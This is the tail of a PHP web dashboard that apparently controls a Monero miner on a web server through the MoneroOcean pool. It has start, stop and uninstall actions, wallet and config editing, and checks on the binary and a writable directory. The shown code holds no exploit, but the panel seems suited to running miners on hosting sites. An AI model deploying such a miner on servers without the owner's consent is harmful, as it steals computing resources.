                            <button class="action-btn btn-secondary" onclick="fetchLogs()" style="width: auto; padding: 5px 14px; font-size: 0.76rem;">Refresh Logs</button>
                        </h2>
                        <div id="logsBox" class="logs-box">Loading live logs...</div>
                    </div>
                </div>
            </div>
        </div>
    <?php endif; ?>

    <footer class="app-footer">
        Powered by <a href="https://moneroocean.stream" target="_blank">MoneroOcean Stream</a> API Protocol &bull; Universal Version Edition
    </footer>

    <script>
        function toggleTheme() {
            const html = document.documentElement;
            const currentTheme = html.getAttribute('data-theme');
            const newTheme = currentTheme === 'dark' ? 'light' : 'dark';
            html.setAttribute('data-theme', newTheme);
            localStorage.setItem('moneroocean_theme', newTheme);
            updateThemeButton(newTheme);
        }

        function updateThemeButton(theme) {
            const icon = document.getElementById('themeIcon');
            const text = document.getElementById('themeText');
            if (!icon || !text) return;
            if (theme === 'light') {
                icon.innerHTML = '🌙';
                text.textContent = 'Dark Mode';
            } else {
                icon.innerHTML = '☀️';
                text.textContent = 'Light Mode';
            }
        }

        const savedTheme = localStorage.getItem('moneroocean_theme') || 'dark';
        document.documentElement.setAttribute('data-theme', savedTheme);
        updateThemeButton(savedTheme);

        function switchSlide(index) {
            const tabs = document.querySelectorAll('.slide-tab');
            const panes = document.querySelectorAll('.slide-pane');
            tabs.forEach((tab, idx) => tab.classList.toggle('active', idx === index));
            panes.forEach((pane, idx) => pane.classList.toggle('active', idx === index));
        }

        <?php if ($is_authenticated): ?>
        let currentUptimeSeconds = 0;
        let uptimeInterval = null;
        let timeoutHandle = null;

        function formatUptime(seconds) {
            if (seconds <= 0) return '0s';
            const d = Math.floor(seconds / (3600 * 24));
            const h = Math.floor((seconds % (3600 * 24)) / 3600);
            const m = Math.floor((seconds % 3600) / 60);
            const s = Math.floor(seconds % 60);
            let parts = [];
            if (d > 0) parts.push(d + 'd');
            if (h > 0 || d > 0) parts.push(h + 'h');
            if (m > 0 || h > 0 || d > 0) parts.push(m + 'm');
            parts.push(s + 's');
            return parts.join(' ');
        }

        function startClientClock() {
            if (uptimeInterval) clearInterval(uptimeInterval);
            uptimeInterval = setInterval(() => {
                currentUptimeSeconds++;
                document.getElementById('uptimeDisplay').textContent = formatUptime(currentUptimeSeconds);
            }, 1000);
        }

        function showToast(message, success = true) {
            const toast = document.getElementById('toast');
            if (!toast) return;
            if (timeoutHandle) clearTimeout(timeoutHandle);
            toast.textContent = message;
            toast.className = 'toast ' + (success ? 'toast-success' : 'toast-error');
            toast.style.display = 'block';
            timeoutHandle = setTimeout(() => { toast.style.display = 'none'; }, 4000);
        }

        function escapeHtml(text) {
            return text.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
        }

        function fetchLogs() {
            fetch('?action=get_logs')
                .then(res => res.json())
                .then(data => {
                    const logsBox = document.getElementById('logsBox');
                    if (data.success) {
                        let rawText = data.logs || "";
                        let safeHtml = escapeHtml(rawText);
                        
                        // Highlight instances of accepted shares e.g., accepted (1/0)
                        safeHtml = safeHtml.replace(/(accepted\s*\([^)]+\))/gi, '<span class="log-accepted">$1</span>');
                        
                        logsBox.innerHTML = safeHtml;
                        logsBox.scrollTop = logsBox.scrollHeight;
                    }
                });
        }

        function fetchConfig() {
            fetch('?action=get_config')
                .then(res => res.json())
                .then(data => {
                    if (data.success) document.getElementById('configEditor').value = data.config;
                });
        }

        function saveConfig() {
            const configVal = document.getElementById('configEditor').value;
            const formData = new URLSearchParams();
            formData.append('config_json', configVal);
            fetch('?action=save_config', { method: 'POST', body: formData })
                .then(res => res.json())
                .then(data => {
                    showToast(data.message, data.success);
                    if (data.success) fetchConfig();
                });
        }

        function fetchStatus() {
            fetch('?action=status')
                .then(res => res.json())
                .then(data => {
                    if (!data.status) return;
                    const badge = document.getElementById('statusBadge');
                    if (data.status === 'RUNNING') {
                        badge.textContent = 'RUNNING';
                        badge.className = 'status-badge badge-running';
                        if (currentUptimeSeconds === 0 || Math.abs(currentUptimeSeconds - data.uptime) > 5) {
                            currentUptimeSeconds = data.uptime;
                            startClientClock();
                        }
                    } else {
                        badge.textContent = 'STOPPED';
                        badge.className = 'status-badge badge-stopped';
                        currentUptimeSeconds = 0;
                        if (uptimeInterval) clearInterval(uptimeInterval);
                        document.getElementById('uptimeDisplay').textContent = 'Stopped';
                    }
                    
                    document.getElementById('workDirDisplay').textContent = data.work_dir;
                    document.getElementById('activeExecutor').textContent = data.executor;
                    document.getElementById('siteUrl').textContent = data.site_url + ' (' + data.pass_tag + ')';
                    document.getElementById('sysInfo').textContent = data.cores + ' Cores / ' + data.ram + ' MB';
                    document.getElementById('activeWallet').textContent = data.running_address;
                    document.getElementById('processInfoBox').textContent = data.process_info;
                    
                    document.getElementById('binExists').textContent = data.binary_exists ? 'Yes' : 'No';
                    document.getElementById('binExec').textContent = data.binary_executable ? 'Yes' : 'No';
                    document.getElementById('dirWritable').textContent = data.dir_writable ? 'Yes' : 'No';
                });
        }

        function triggerAction(actionName) {
            if(!confirm('Are you sure you want to ' + actionName + ' the engine?')) return;
            fetch('?action=' + actionName)
                .then(res => res.json())
                .then(data => {
                    showToast(data.message, data.success);
                    fetchStatus();
                    setTimeout(fetchLogs, 1500);
                    fetchConfig();
                });
        }

        function triggerUninstall() {
            if(!confirm('WARNING: Completely remove this node?')) return;
            fetch('?action=uninstall')
                .then(res => res.json())
                .then(data => {
                    showToast(data.message, data.success);
                    fetchStatus();
                });
        }

        function updateCustomDir() {
            const formData = new URLSearchParams();
            formData.append('custom_dir', document.getElementById('customDirInput').value);
            fetch('?action=update_custom_dir', { method: 'POST', body: formData })
                .then(res => res.json())
                .then(data => { showToast(data.message, data.success); fetchStatus(); });
        }

        function updateWallet() {
            const formData = new URLSearchParams();
            formData.append('wallet', document.getElementById('walletInput').value);
            formData.append('pass', document.getElementById('passInput').value);
            fetch('?action=update_wallet', { method: 'POST', body: formData })
                .then(res => res.json())
                .then(data => { showToast(data.message, data.success); fetchStatus(); fetchConfig(); });
        }

        function changePassword() {
            const formData = new URLSearchParams();
            formData.append('current_password', document.getElementById('currentPassword').value);
            formData.append('new_password', document.getElementById('newPassword').value);
            fetch('?action=change_password', { method: 'POST', body: formData })
                .then(res => res.json())
                .then(data => { showToast(data.message, data.success); });
        }

        fetchStatus();
        fetchLogs();
        fetchConfig();
        setInterval(fetchStatus, 15000);
        setInterval(fetchLogs, 10000);
        <?php endif; ?>
    </script>
</body>
</html>